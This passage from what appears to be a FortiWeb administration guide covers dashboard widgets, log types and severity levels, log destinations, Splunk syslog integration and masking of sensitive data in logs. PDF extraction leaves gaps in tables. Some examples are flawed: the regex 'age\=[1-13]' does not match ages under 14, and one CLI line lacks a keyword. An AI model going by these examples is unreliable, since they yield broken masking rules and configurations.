Click Change to change the host name. For details, see Changing the FortiWeb
appliance’s host name on page 666.
Serial Number Displays the serial number of the FortiWeb appliance. Use this number when
registering the hardware or virtual appliance with Fortinet Customer Service
& Support:
On hardware appliance models of FortiWeb, the serial number (e.g. FV-
3KC3R11111111) is specific to the FortiWeb appliance’s hardware and does not
change with firmware upgrades.

On virtual appliance models, the serial number indicates the maximum number
of vCPUs that can be allocated according to the FortiWeb-VM software license,
such as FVVM020000003619 (where “VM02” indicates a limit of 2 vCPUs). If it is
FVVM00UNLICENSED , the FortiWeb-VM license has not been successfully
validated, and FortiWeb is operating with a limited trial license.
Operation Mode Displays the current operation mode of the FortiWeb appliance.
The default operation mode is Reverse Proxy. For details on the operation
modes, see Setting the operation mode on page 105.
Click Change to switch the operation mode.
Caution: Back up the configuration before changing the operation mode.
Changing modes deletes any policies not applicable to the new mode, static
routes, V-zone IPs, and VLANs. For instructions on backing up the configuration,
see Backups on page 322.
System Time Displays the current date and time according to the FortiWeb appliance’s internal
clock.
Click Change to change the time or configure the FortiWeb appliance to get the
time from an NTP server. For details, see Setting the system time & date on page
103.
Firmware Version Displays the version of the firmware currently installed on the FortiWeb
appliance.
Click Update to install a new version of firmware. For details, see Updating the
firmware on page 89.
Note: Starting with the 6.0 release, FortiWeb supports Google Cloud Platform
and Oracle VM VirtualBox.
System Uptime Displays the time in days, hours, and minutes since the FortiWeb appliance last
started.
Administrative Domain To delete existing appliance-wide policies and settings then enable ADOMs, click
Enable. See also Administrative domains (ADOMs) on page 52.
To disable ADOMs, first delete ADOM-specific settings and policies, then click
Disable.
FIPS-CC Mode Displays whether Federal Information Processing Standards (FIPS) and Common
Criteria (CC) compliant mode is enabled. You use a CLI command to enable this
mode.
See also
l Changing the FortiWeb appliance’s host name on page 666
FortiGuard Information widget
The FortiGuard Information widget on the dashboard displays Fortinet Technical Support registration, licensing and
FortiGuard service update information.

FortiGuard Information widget
VM License Indicates whether a FortiWeb-VM appliance has a paid software

license. The license affects the maximum number of allocatable
vCPUs. For details, see the FortiWeb-VM Installation Guide:
Possible states are:
l Valid—The appliance has a valid, non-trial license. Serial
Number indicates the maximum number of vCPUs that can
be allocated according to this license. For details, see System
Information widget on page 683.
To increase the number of vCPUs that this appliance can
utilize, invalidate the current license by allocating more
vCPUs in your virtual machine environment (e.g. VMware),
then upload a new license.
Note: You can also upload a new license to replace a valid
license by clicking Update in the VM License row and then
increase the number of vCPUs.
For details, see the FortiWeb-VM Installation Guide:
l Invalid—License either was not valid, or is currently a trial
license.
To upload a valid license, click Update.
This appears only in FortiWeb-VM.
Support Contract Indicates which account registered this appliance with Fortinet
Technical Support.
l Unregistered—Not registered with Fortinet Technical
Support.
l <registration_email>—Registered with Fortinet Technical
Support.
Click Launch Portal to log into the Fortinet Support account that
registered this FortiGate unit.
FortiGuard
FortiWeb Indicates the validity of the appliance’s contract for FortiGuard

Security Service FortiWeb Security Service, which provides updates via the Internet
from Fortinet’s FDN for:
l Attack signatures
l Predefined data types
l Predefined suspicious URLs
l Global white list objects
l Valid—The appliance currently has a valid, non-trial license,
and can download updates itself from the FDN. You can
trigger this manually and/or schedule the appliance to

regularly poll and automatically install the newest available

package updates. For details, see Connecting to FortiGuard
l Expired—The contract is no longer in effect.
To renew, either contact your reseller or go to the Fortinet
Customer Service & Support website:
Also indicates the current version number of the installed service
package, the expiry date of the service contract (if any) for this
appliance, and the previous time and method of update.
FortiWeb Indicates the validity of the appliance’s contract for FortiGuard

Antivirus Antivirus Service, which provides updates via the Internet from
Service Fortinet’s FDN for virus signatures. Possible states are:
FortiWeb IP Indicates the validity of the appliance’s contract for FortiGuard

Reputation IRIS Service, which provides updates via the Internet from
Service Fortinet’s FDN for known botnets, malicious clients, and
anonymizing proxies. Possible states are:
FortiWeb Indicates the validity of the appliance's contract for FortiGuard

Credential Credential Stuffing Defense database, which prevents against
Stuffing credential stuffing attacks. Possible states are:

Defense Service l Valid—The appliance currently has a valid, non-trial license,

FortiSandbox Cloud Indicates the validity of the appliance’s contract for FortiSandbox
Cloud Service, which provides updates via the Internet from
Fortinet’s FDN.
package updates.
Geo DB Indicates the validity of the appliance’s contract for Geo DB, which
provides updates via the Internet from Fortinet’s FDN.
package updates.
For information on updates, see Connecting to FortiGuard services on page 469.
See also


l Antivirus Scan on page 602
The CLI Console widget requires that your web browser support JavaScript.
System Resources widget
The System Resources widget on the dashboard displays information such as CPU and memory usage.
The widget displays CPU and memory usage as an animated bar and as a
percentage of the usage for core processes only. CPU and memory usage for
management processes (for example, for HTTPS connections to the web UI) is
excluded.
Normal idle load varies by hardware platform, firmware, and configured features. To determine your specific baseline
for idle, configure your system completely, reboot, then view the system load. After at least 1 week of uptime with
typical traffic volume, view the system load again to determine the normal non-idle baseline.
System Resources widget
To determine your available disk space, you can alternatively connect to the CLI and enter the command:
diagnose system mount list
Reboot Click to halt and restart the operating system of the FortiWeb appliance.
ShutDown Click to halt the operating system of the FortiWeb appliance, preparing its
hardware to be powered off.
Reset Click to revert the configuration of the FortiWeb appliance to the default values
for its currently installed firmware version.
Caution: Back up the configuration before selecting Reset. This operation
cannot be undone. Configuration changes made since the last backup will be
lost. For instructions on backing up the configuration, see Restoring a previous

Attack Log widget
The Attack Log widget displays the latest attack logs. Attack logs are recorded when there is an attack or intrusion
attempt against the web servers protected by the FortiWeb appliance.
Attack logs help you track policy violations. Each message shows the date and time that the attack attempt occurred.
For details, see Viewing log messages on page 718.
Attack log messages can also be delivered by email, Syslog, FortiAnalyzer, or

SNMP. For details, see Enabling log types, packet payload retention, & resource
shortage alerts on page 701, Configuring logging on page 700, and SNMP traps &
queries on page 727.
Attack Log widget
HTTP Throughput Monitor widget
The HTTP Throughput Monitor widget displays HTTP traffic volume throughput in real-time:

Mouse over the graph to see HTTP throughput for the displayed time period.
In the top-right corner of the widget, use the Policy drop-down menu to select either the total HTTP throughput or the
HTTP throughput for a specific server policy.
See also
HTTP Hit History widget
The HTTP Hit History widget displays the total number of HTTP requests within the selected interval:
Mouse over the graph to see HTTP requests for the displayed time period.

Use the Time Interval drop-down menu to select among the following time periods to view HTTP requests:
l 1 hour
l 2 hours
l 5 hours
Use the Policy drop-down menu to select among the current server policies or to view the total HTTP hit history.
Attack Event History widget
The Attack Event History widget displays information about attacks that are detected and prevented. You can view
information by Attack Type or Threat Level using the Attacks by drop-down menu.
Use the Time Interval drop-down menu to view the Attack Event History within the following time periods:
l 1 hour
l 12 hours
l 48 hours
l 1 week

Attack Type
Click elements in the legend of the graph to show/hide those elements in the graph.
In the Attacks by Attack Type window under the graph, select the + icon under the Drilldown column to view the
following information about each attack type:
l Server Policy
l Client
l Time

Threat Level
Click elements in the legend of the graph to show/hide those elements in the graph.
In the Attacks by Threat Level window under the graph, select the + icon under the Drilldown column to view the
following information about each attack type:
l Server Policy
l Client
l Time

Event Log Console widget
The Event Log Console widget on the dashboard displays log-based messages.
Event logs help you track system events on your FortiWeb appliance such as firmware changes, and network events
such as changes to policies. Each message shows the date and time that the event occurred. For details, see Viewing
Event log messages can also be delivered by email, Syslog, FortiAnalyzer, or

SNMP. For details, see Enabling log types, packet payload retention, & resource
shortage alerts on page 701, Configuring log destinations on page 705, and SNMP
traps & queries on page 727.
Event Log Console widget
Policy Sessions widget
The Policy Sessions widget on the dashboard displays the number of HTTP/HTTPS sessions that are currently
governed by each policy.

Policy Sessions widget
l Policy Name—Shows the name of the policy. For information on policies, see How operation mode affects server
policy behavior on page 217.
l Status—Displays whether the policy is enabled or disabled. For details, see Enabling or disabling a policy on page
256.
l Concurrent Connections—Shows the total number of connections that the policy currently governs.
l Connections/Sec—Shows the number of connections the policy is governing per second.
Operation widget
The Operation widget on the dashboard displays:

l “Up” (cable plugged in, indicated by green) or
l “Down” (cable unplugged, indicated by grey)
link status of each physical network interface (or, for FortiWeb-VM, virtual adapter).
The detected physical link status indicator does not indicate whether you have
administratively enabled or disabled the network interface. To bring up or bring
down a network interface, see To configure a network interface or bridge on page
124.
Hover over a link icon to display the following additional information:

l Name (e.g. port1)
l Link speed (e.g. 1000 Mbps/Full Duplex)
l The IP address and subnet mask
l Packets sent (Tx) and received (Rx)

Operation widget
See also
Policy Status dashboard
Go to System > Status > Policy Status to access summary information about server policies and their activity.
The top pane of the dashboard is a list of configured policies. The bottom pane is a list of physical or domain servers
associated with the selected polices. For HTTP content routing policies, the list of servers is organized by content
routing policy.
In the policy list, Status displays whether the policy is enabled or disabled. For information about enabling policies, see
Enabling or disabling a policy on page 256.
The Concurrent Connections and Connection/Sec columns shows information about the connections the policy
currently governs.
For information on the other policy properties that are displayed, such as Vserver and Mode, see Configuring an
For information on the server properties that are displayed, such as Pool and IP/Domain Name, see Creating a server
pool on page 169.
Health Check Status
In the server list, the Health Check Status column displays one of the following icons:
l Green icon—The server health check is currently detecting that the web server is responsive to connections (“up”).

The green icon does not indicate whether the policy is enabled or disabled.
Depending on the operation mode, a disabled policy may block traffic from clients to
the web server, effectively causing the web server to appear to be “down” to clients,
even though it is “up” to FortiWeb. For details, see Enabling or disabling a policy on
page 256.
It also does not indicate both HTTP and HTTPS separately. Protocol and port
number used are according to your configuration in the server pool.
l Flashing yellow-to-red or grey icon—Either:

l No server health check is currently configured for that combination of server pool and policy
l The server health check is currently detecting that the web server is not responsive to connections (“down”)
The method that the FortiWeb appliance uses to reroute connections to an available server varies by your configuration
of Load Balancing Algorithm on page 170. For information on server health checks, see Configuring server up/down
checks on page 163.
If the server health check is mistakenly detecting that your web server is “down,” but it is actually “up,” verify that you
have specified the correct SSL/TLS and port number settings for the web server in the server pool. Also verify that the
web server is configured to respond to the protocol configured in the server health check, and that connections are
permitted by any intermediary network or host-based firewalls such as Windows Firewall.
Alternatively, to monitor the status of web servers, you can use SNMP traps. For
details, see SNMP traps & queries on page 727.
Session Count
In the top pane, the Concurrent Connections and Connection/Sec columns display a count of client connections
that the virtual server is maintaining.
In the bottom pane, the Concurrent Connections column displays a count of connections to server pools that contain
one or more back-end servers.
In some cases, the virtual server maintains a client session even though the client is not requesting data from the back-
end server. When this happens, the Concurrent Connections column in the bottom pane is 0 even though the
Concurrent Connections value in the top pane indicates there are one or more current sessions.
RAID level & disk statuses
If supported by your FortiWeb model, System > Config > RAID enables you to view the status of the redundant array
of independent disks (RAID) that the FortiWeb appliance uses to store most of its data, including logs, reports, auto-
learning data, and website backups for anti-defacement. You can also use this CLI command to view the statuses of
each disk in the array, its total disk space capacity, and RAID level:
diagnose hardware raid list

RAID is supported on models that originally shipped with the firmware version FortiWeb 4.0 MR1 or later, such as
FortiWeb 1000D/E, 3000C/CFsx/D/DFsx, and 4000D. On older appliances that have been upgraded to
FortiWeb 4.0 MR1, you may be able to see this part of the web UI, but RAID is not activated, and the disk status is will
always be Not Present
FortiWeb-VM does not support RAID from within the virtual appliance. However,
depending on your hypervisor’s storage repository, you can configure the hypervisor
to store its data on a SAN or external RAID. To manage your storage repository, see
the documentation for your hypervisor.
Currently, only RAID level 1 is supported, and cannot be changed. On FortiWeb 3000C/D and 4000C/D, the RAID array
has a hardware controller. On FortiWeb 1000D/E, the array has a software controller. RAID level 1 is also known as
“mirroring,” and writes all data twice—each drive is an exact copy of the other. This does not increase disk write speed
via striping, nor detection and correction of errors via parity. However, it does improve availability by reducing the overall
hardware failure rate of the RAID: the chance that both disks together will fail is much lower than the chance of failure of
a single disk.
Rebuilding RAID after a disk failure will result in some loss of data in packet
payloads retained with corresponding logs.
To access this part of the web UI, your administrator's account access profile must have Read and Write permission to
items in the System Configuration category. For details, see Permissions on page 56.
Logging
To diagnose problems or track actions that the FortiWeb appliance performs as it receives and processes traffic,
configure the FortiWeb appliance to record log messages.
Log messages can record attack, system, and traffic events. They are also the source of information for alert email and
many types of reports.
When you configure protection profiles, many components include an Action option that determines the response to a
detected violation. Actions combine with severity levels and trigger policies to determine whether and where a log
message, message on the Attack Log Console widget, SNMP trap, and/or alert email will be generated.
Before logging will occur, you must first enable and configure it.
About logs & logging
FortiWeb appliances can log many different network activities and traffic including:
l Overall network traffic
l System-related events including system restarts and HA activity
l Matches of policies with Action on page 463 set to a log-generating option such as Alert
Each type can be useful during troubleshooting or forensic investigation. For more information about log types, see Log
types on page 699.

You can select a priority level that log messages must meet in order to be recorded. For details, see Log severity levels
on page 699.
For a detailed description of each FortiWeb log message, as well as log message structure, see the FortiWeb Log
Message Reference.
The FortiWeb appliance can save log messages to its memory, or to a remote location such as a Syslog server or
FortiAnalyzer appliance. For details, see Configuring logging on page 700. The FortiWeb appliance can also use log
messages as the basis for reports. For details, see Reports on page 732.
The FortiWeb appliance also displays event and attack log messages on the dashboard. For details, see Attack Log
widget on page 689 and Event Log Console widget on page 694.
Each log file can have at most 51,200 logs, and each log size is limited to 4k; thus, each log file size is limited to 200M.
See also
l Log types on page 699

l Log severity levels on page 699
l Configuring logging on page 700
Log types
Each log message contains a Type (type) field that indicates its category, and in which log file it is stored.
FortiWeb appliances can record the following categories of log messages:
Event Displays administrative events, such as downloading a backup copy of the

configuration, and hardware failures.
Traffic Displays traffic flow information, such as HTTP/HTTPS requests and responses.
Attack Displays attack and intrusion attempt events.
Avoid recording highly frequent log types such as traffic logs to the local hard disk for
an extended period of time. Excessive logging frequency can cause undue wear on
the hard disk and may cause premature failure.
Log severity levels
Each log message contains a Severity (pri) field that indicates the severity of the event that caused the log message,
such as pri=warning.

Log severity levels
Level Name Description

(0 is greatest)
0 Emergency The system has become unusable.
1 Alert Immediate action is required.
2 Critical Functionality is affected.
3 Error An error condition exists and functionality could be affected.
4 Warning Functionality could be affected.
5 Notification Information about normal events.
6 Information General information about system operations.
For each location where the FortiWeb appliance can store log files (disk, memory, Syslog or FortiAnalyzer), you can
define a severity threshold. The FortiWeb appliance will store all log messages equal to or exceeding the log severity
level you select.
For example, if you select Error, the FortiWeb appliance will store log messages whose log severity level is Error,
Critical, Alert, and Emergency.
Avoid recording log messages using low log severity thresholds such as information
or notification to the local hard disk for an extended period of time. A low log severity
threshold is one possible cause of frequent logging. Excessive logging frequency
can cause undue wear on the hard disk and may cause premature failure.
For details, see Configuring log destinations on page 705.
Log rate limits
When FortiWeb is defending your network against a DoS attack, the last thing you need is for performance to decrease
due to logging, compounding the effects of the attack. By the nature of the attack, these log messages will likely be
repetitive anyway. Similarly, repeated attack log messages when a client has become subject to a period block yet
continues to send requests is of little value, and may actually be distracting from other, unrelated attacks.
To optimize logging performance and help you to notice important new information, within a specific time frame,
FortiWeb will only make one log entry for these repetitive events. It will not log every occurrence. To adjust the interval
at which FortiWeb will record identical log messages during an ongoing attack, see max-dos-alert-interval
<seconds_int> in the FortiWeb CLI Reference:
Configuring logging
You can configure FortiWeb to store log messages either locally (to the hard disk) and/or remotely (to a Syslog server,
ArcSight server, Azure Event Hub server, QRadar server, or FortiAnalyzer appliance). Your choice of storage location
may be affected by several factors, including the following:

l Logging only locally may not satisfy your requirements for off-site log storage.
l Attack logs and traffic logs cannot be logged to local memory.
l Very frequent logging may cause undue wear when stored on the local hard drive. A low severity threshold is one
possible cause of frequent logging. For more information on severity levels, see Log severity levels on page 699.
For information on viewing locally stored log messages, see Viewing log messages on page 718.
To configure logging
Set the severity level threshold that log messages must meet or exceed in order to be sent to each log storage device. If
you will store logs remotely, also configure connectivity information such as the IP address. For details, see Configuring
log destinations on page 705, Configuring Syslog settings on page 713, Configuring FortiAnalyzer policies on page 714,
and Configuring SIEM policies on page 715
Group Syslog, FortiAnalyzer, and SIEM settings and select those groups in Trigger Action settings throughout the
configuration of web protection features. For details, see Configuring triggers on page 718.
Enable logging in general. For details, see Enabling log types, packet payload retention, & resource shortage alerts on
page 701.
If you want to log attacks, select an Alert option as the Action on page 463 setting when configuring attack protection.
Monitor your log messages via the web UI or through alert email for events that require action from network
administrators. For details, see Viewing log messages on page 718 and Alert email on page 724.
Configure reports that are derived from log data to review trends in your network. For details, see Reports on page 732.
Enabling log types, packet payload retention, & resource shortage alerts
You can enable or disable logging for each log type, as well as configure system alert thresholds, and which policy
violations should cause the appliance to retain the TCP/IP packet payload (HTTP headers and a portion of the HTTP
body, if any) that can be viewed with its corresponding log message.
For more information on log types, see Log types on page 699.
To enable logging
Go to Log&Report > Log Config > Other Log Settings.

items in the Log & Report category. For details, see Permissions on page 56.

Configure these settings:


Enable Attack Log Enable to log violations of attack policies, such as server information disclosure
and attack signature matches, if that feature is configured such that Action on
page 463 is set to Alert, Alert & Deny, or Alert & Erase.
Enable Traffic Log Enable to log traffic events such as HTTP requests and responses, and the
expiration of HTTP sessions.
Tip: Because resources for this feature increase as your traffic increases, if you
do not need traffic data, disable this feature to improve performance and improve
hardware life.
Enable Traffic Packet Log Enable to retain the packet payloads of all HTTP request traffic.
Unlike attack packet payloads, only HTTP request traffic packets are retained
(not HTTP responses), and only the first 4 KB of the payload from the buffer of
FortiWeb’s HTTP parser.
Packet payloads supplement the log message by providing the actual request
body, which may help you to fine-tune your regular expressions to prevent false
negatives, or to examine changes to attack behavior for subsequent forensic
analysis.
To view packet payloads, see Viewing packet payloads on page 721.
Tip: Retaining traffic packet payloads is resource intensive. To improve
performance, only enable this option while necessary.
Enable Event Log Enable to log local events, such as administrator logins or rebooting the FortiWeb
appliance.
Ignore SSL Errors Allows you to stop FortiWeb from logging SSL errors. This is useful when you use
high-level security settings, which generate a high volume of these types of
errors.
Retain Packet Payload For Mark the check boxes of the attack types or validation failures to retain the buffer
from FortiWeb’s HTTP parser. Packet retention is enabled by default for most
types.
Packet payloads supplement the log message by providing part of the actual data
that matched the regular expression, which may help you to fine-tune your
regular expressions to prevent false positives, or to examine changes to attack
behavior for subsequent forensic analysis.
To view packet payloads, see Viewing packet payloads on page 721.
If packet payloads could contain sensitive information, you may need to obscure
those elements. For details, see Obscuring sensitive data in the logs on page
712.
Note: FortiWeb retains only the first 4 KB of data from the offending HTTP
request payload that triggered the log message. If you require forensic analysis
of, for example, buffer overflow attacks that would exceed this limit, you must
implement it separately.
CPU Utilization Select a threshold level (60%–99%) beyond which CPU usage triggers an event
log entry.
Memory Utilization Select a threshold level (60%–99%) beyond which memory usage triggers an
event log entry.

Log Disk Utilization Select a threshold level (60%–99%) beyond which log disk usage triggers an
event log entry.
Trigger Policy Select an trigger, if any, to use when memory usage or CPU usage reaches or
exceeds its specified threshold.
Click Apply.
See also

l Viewing packet payloads on page 721
l Obscuring sensitive data in the logs on page 712
Configuring log destinations
You can choose and configure the storage methods for log information, and/or email alerts when logs have occurred.
Alert email can be enabled here, but must be configured separately first. For details, see Alert email on page 724.
You can also configure FortiWeb to send log information to an FTP or TFTP server in report form.
For logging accuracy, you should verify that the FortiWeb appliance’s system time is accurate. For details, see Setting
the system time & date on page 103.
Avoid recording highly frequent log types such as traffic logs to the local hard disk for
an extended period of time. Excessive logging frequency can cause undue wear on
the hard disk and may cause premature failure.
To configure log settings
Go to Log&Report > Log Config > Global Log Settings.


Disk Enable to record log messages to the local hard disk on the FortiWeb appliance.
If the FortiWeb appliance is logging to its hard disk, you can use the web UI to view log
messages stored locally on the FortiWeb appliance. For details, see Viewing log
Log Level Select the severity level that a log message must equal or
exceed in order to be recorded to this storage location. For
information about severity levels, see Log severity levels on
page 699.
Caution: Avoid recording log messages using low severity
thresholds such as information or notification to the local hard
disk for an extended period of time. A low log severity
threshold is one possible cause of frequent logging.
Excessive logging frequency can cause undue wear on the
hard disk and may cause premature failure.
When log disk is full Select what the FortiWeb appliance will do when the local
disk is full and a new log message occurs, either:
l Do not log—Discard the new log message.
l Overwrite oldest logs—Delete the oldest log file in

order to free disk space, then store the new log message
in a new log file.
Syslog Enable to store log messages remotely on a Syslog server.

Caution: Enabling Syslog could result in excessive log messages being recorded in
Syslog.
Syslog entries are controlled by Syslog policies and trigger actions associated with
various types of violations. If this option is enabled, but a trigger action is not selected
for a specific type of violation, every occurrence of that violation will be transmitted to
the Syslog server in the Syslog Policy on page 707 field.
Note: Logs stored remotely cannot be viewed from the FortiWeb web UI.
Syslog Policy Select the settings to use when storing log messages
remotely. The Syslog settings include the address of the
remote Syslog server and other connection settings. For
details, see Configuring Syslog settings on page 713.
details about severity levels, see Log severity levels on page
699.
Facility Select the facility identifier that the FortiWeb appliance will
use to identify itself when sending log messages to the first
Syslog server.
To easily identify log messages from the FortiWeb appliance
when they are stored on the Syslog server, enter a unique
facility identifier, and verify that no other network devices use
the same facility identifier.
Alert Mail Enable to generate alert email when log messages are created.
Distribution of alert email is controlled by email policies and trigger actions associated
with various types of violations. If this option is enabled, but a trigger action is not
selected for a specific type of violation, every occurrence of that violation will result in an
alert email to the individuals associated with the policy selected in the Email Policy on
page 707 field.
Note: Alert email are not sent for traffic logs.
Note: Before enabling this option, verify that log frequency is not too great. If logs are
very frequent, enabling this option could decrease performance and cause the FortiWeb
appliance to send you many alert email messages.
Email Policy Select the email settings to use for alert emails. For details,
see Configuring email settings on page 725.
FortiAnalyzer Enable to store log messages remotely on a FortiAnalyzer appliance.

Compatibility varies. See the FortiAnalyzer Release Notes
(http://docs.fortinet.com/fortianalyzer/release-information). For example,
FortiAnalyzer 5.0.6 is tested compatible with FortiWeb 5.1.1 and 5.0.5.

Log entries to FortiAnalyzer are controlled by FortiAnalyzer policies and trigger actions
associated with various types of violations. If this option is enabled, but a trigger action
has not been selected for a specific type of violation, every occurrence of that violation
will be recorded to the FortiAnalyzer specified in FortiAnalyzer Policy on page 708.
Note: Before enabling this option, verify that log frequency is not too great. If logs are
very frequent, enabling this option could decrease performance and cause the FortiWeb
appliance to send many log messages to FortiAnalyzer.
Note: Logs stored remotely cannot be viewed from the FortiWeb web UI.
FortiAnalyzer Policy Select the settings to use when storing log messages
remotely. FortiAnalyzer settings include the address and
other connection settings for the remote FortiAnalyzer. For
details, see Configuring FortiAnalyzer policies on page 714.
details about severity levels, see Log severity levels on page
699.
SIEM Enable to store log messages to a SIEM (Security Information and Event Management)
server. According to the specified SIEM policy, FortiWeb will carry out one of the
following actions:
l Store log messages remotely to an ArcSight server
l Store log messages remotely to a QRadar server
l Send log messages to Azure Event Hub (only available for FortiWeb-VM installed
on Azure)
FortiWeb sends log entries in CEF (Common Event Format) format. There is a 256 byte
limit for URLs.
If this option is enabled, but no trigger action is selected for a specific type of violation,
FortiWeb records every occurrence of that violation to the resource specified by SIEM
Policy on page 708.
Note: Before you enable this option, verify that log frequency is not too great. If logs are
very frequent, enabling this option can decrease performance and cause the FortiWeb
appliance to send many log messages to the resource.
Note: You cannot view logs stored remotely from the FortiWeb web UI.
information about severity levels, see Log severity levels on
page 699.
SIEM Policy Select the settings to use when storing log messages
remotely. SIEM settings configure a connection to the
storage resource. For details, see Configuring SIEM policies
on page 715.
Click Apply.
Enable the log types that you want your log destinations to receive. For details, see Enabling log types, packet payload
retention, & resource shortage alerts on page 701.

See also

l Alert email on page 724
l Configuring Syslog settings on page 713
l Configuring FortiAnalyzer policies on page 714
FortiWeb and Splunk
Syslog now supports Splunk log server, you can configure FortiWeb to send logs to Splunk server for log analyzing and
presenting in forms of histogram, pie chart, and timing diagram, etc.
About Splunk
Splunk Inc. (NASDAQ: SPLK) is the market leader in analyzing machine data to deliver Operational Intelligence for
security, IT and the business. Splunk® software provides the enterprise machine data fabric that drives digital
transformation. Splunk Enterprise makes it simple to collect, analyze and act upon the untapped value of the big data
generated by your technology infrastructure, security systems and business applications—giving you the insights to
drive operational performance and business results.
Fortinet FortiWeb App for Splunk
The FortinetFortiWeb App for Splunk provides real-time, historical dashboard and analytical reports on threats, traffic,
events for all products across the FortiWeb physical and virtual appliances. The integrated solution pinpoints threats
and attacks with faster response times without long exposure in unknown troubleshooting state.With the massive set of
logs and big data aggregation through Splunk, the FortinetFortiWeb App for Splunk is certified with pre-defined threat
monitoring and performance indicators that guide network security practices a lot easier in the datacenter. As the de
facto trending dashboard for many enterprises or service providers, IT administrators can also modify the regular
expression query to custom fit for advanced security reporting and compliance mandates.
Fortinet FortiWeb App for Splunk: https://splunkbase.splunk.com/app/4627/
FortinetFortiWeb App depends on the Add-on to work properly. Make sure FortinetFortiWeb
Add-on for Splunk has been installed before you proceed.
Fortinet FortiWeb Add-on for Splunk
FortinetFortiWeb Add-On for Splunk is the technical add-on (TA) developed by Fortinet, Inc. The add-on enables Splunk
Enterprise to ingest or map attack, traffic and event logs collected from FortiWeb physical and virtual appliances across
domains. The key features include:
l Streamlining authentication and access from FortiWeb such as administrator login, user login to Splunk Enterprise
Security Access Center
l Mapping FortiWeb threats report into Splunk Enterprise Security Endpoint Malware Center
l Ingesting attack logs, traffic logs, and event logs etc.
Fortinet FortiWeb Add-on for Splunk: https://splunkbase.splunk.com/app/4626/

Deployment prerequisites
1. Splunk version 7.2.5 or later

2. FortiWebAdd-On for Splunk
3. FortiWeb App for Splunk version 6.2.0 and later
4. A Splunk.com username and password
Splunk configuration
1. Click the gear (Manage Apps) from Splunk Enterprise.

2. Click Browse more apps, and search for FortiWeb.
3. Install Fortinet FortiWeb Add-on for Splunk.
4. Then install Fortinet FortiWeb App for Splunk.
5. Restart Splunk Enterprise.
6. From Settings, click Data Inputs under Data.
7. Click Add new in the UDP line to create a new UDP input.
8. Create a UDP data source, for example, on Port 514.
9. Click Next.

10. For Source type, click Select tab. Click Select Source Type, enter "fwb" in the filter box, and select "fwb_log".
Fortinet FortiWeb Add-On for Splunk will by default automatically extract FortiWeb log data from inputs with
sourcetype 'fwb_log'.
11. For App context, select Fortinet FortiWeb App for Splunk.
12. Click Review to check the items.
13. Click Submit.
FortiWeb configuration by GUI and CLI
Configure FortiWeb GUI to send logs to Splunk server.

1. Log into FortiWeb with your username and password.
2. Go to Log&Report > Log Policy > Syslog Policy.
3. Refer to Configuring Syslog settings on page 713 for the settings. For IP Address(IPv4), enter the Splunk server
IP address.
4. Click OK.
5. Go to Log&Report > Log Config > Global Log Settings.
6. For Syslog, select the Splunk related policy created above.
7. Or go to Log&Report > Log Policy > Trigger Policy.
8. Select the Splunk related policy created above for Syslog Policy.
Configure FortiWeb by CLI Console.
1. Log into FortiWeb CLI Console.
2. Run the commands below to set the Syslog policy and configure Splunk server IP.
config log syslog-policy
edit syslog-policy_1
config syslog-server-list
edit 1
set server 1.1.1.1
set port 514
end
end
3. Apply the Syslog policy in global log setting.
config log syslogd
edit policy policy_1
set status enable
end
4. Or apply the Syslog policy in trigger policy, and apply the trigger policy in XML validation rule, for example.
config log trigger policy

edit trigger_policy_1
set syslog-policy syslog-policy_1
end
config waf xml-validation rule
edit xml-validation-rule_1
set trigger_policy_1
end
Logs verification on Splunk server
To verify whether logs have been received by Splunk server

1. On Splunk web UI, go to Apps > Search & Reporting.

2. If attack logs have been sent to Splunk, enter 'sourcetype="fwb_attack"' in the search box. Change the time range if
necessary. The attack logs will be listed below.
3. If audit logs have been sent to Splunk, enter 'sourcetype="fwb_event"' in the search box. Change the time range if
necessary. The audit logs will be listed below.
4. Go to the dashboard of Fortinet FortiWeb App for Splunk, from the Security Overview, Attack, and Event tabs,
you can see data parsed and presented.
Troubleshooting
What to do if data is not shown up in the Dashboards?

1. Go to Settings > Data Inputs. Verify that you have a UDP data input enabled on port ,for example, 514.
2. Go to Settings > Indexes. Verify that your Index (typically main) is receiving data and that the Latest Event is
recent. If not, verify the FortiWeb Syslog settings are correct and that it can reach the Splunk server.
Obscuring sensitive data in the logs
You can configure the FortiWeb appliance to hide certain predefined data types, including user names and passwords,
that could appear in the packet payloads accompanying a log message. You can also define and include your own
sensitive data types, such as ages (relevant if you are required to comply with COPPA) or other identifying numbers,
using regular expressions.
Sensitive data definitions are not retroactive. They will hide strings in subsequent
log messages, but will not affect existing ones.
To exclude custom sensitive data from log packet payloads
Go to Log&Report > Log Config > Sensitive Data Logging.

On the top right side of the page, mark one or both of the following check boxes:
l Enable Predefined Rules—Use the predefined credit card number and password data types. For details, see
"Predefined suspicious request URLs" on page 1.
l Enable Custom Rules—Use your own regular expressions to define sensitive data. For details, see "Grouping
custom suspicious request URLs" on page 1.
Click Create New.
In Name, type a unique name that can be referenced in other parts of the configuration. The maximum length is 63
characters.
Select either General Mask (a regular expression that will match any substring in the packet payload) or Field Mask (a
regular expression that will match only the value of a specific form input).
l In the field next to General Mask, type a regular expression that matches all the strings or numbers that you want
to obscure in the packet payloads.
For example, to hide a parameter that contains the age of users under 14, you could enter:

age\=[1-13]
Valid expressions must not start with an asterisk ( * ). The maximum length is 256 characters.
l For Field Mask, in the left-hand field (Field Name), type a regular expression that matches all and only the input
names whose values you want to obscure. (The input name itself will not be obscured. If you wish to do this, use
General Mask instead.) Then, in the right hand field (Field Value), type a regular expression that matches all
input values that you want to obscure. Valid expressions must not start with an asterisk ( * ). The maximum length
is 256 characters.
For example, to hide a parameter that contains the age of users under 14, for Field Name, you would enter age,
and for Field Value, you could enter [1-13].
Field masks using asterisks are greedy: a match for the parameter’s value will
obscure it, but will also obscure the rest of the parameters in the line. To avoid this,
enter an expression whose match terminates with, but does not consume, the
parameter separator.
For example, if parameters are separated with an ampersand ( & ), and you want to
obscure the value of the Field Name username but not any of the parameters
that follow it, you could enter the Field Value:
.*?(?=\&)
This would result in:
username****&age=13&origurl=%2Flogin
Click OK.
The expression appears in the list of regular expressions that define sensitive data that will be obscured in the logs.
When viewing new log messages, data types matching your expression are replaced with a string of asterisks.
To test a regular expression, click the >> (test) button. This opens the Regular Expression Validator window where
you can fine-tune the expression. For details, see Regular expression syntax on page 880.
Configuring Syslog settings
To store log messages remotely on a Syslog server, you first create the Syslog connection settings.
Syslog settings can be referenced by a trigger, which in turn can be selected as the trigger action in a protection profile,
and used to send log messages to one or more Syslog servers whenever a policy violation occurs.
You can use each Syslog policy to configure connections to up to 3 Syslog servers.
Logs stored remotely cannot be viewed from the FortiWeb web UI. If you need to
view logs from the web UI, also enable local storage. For details, see Enabling log
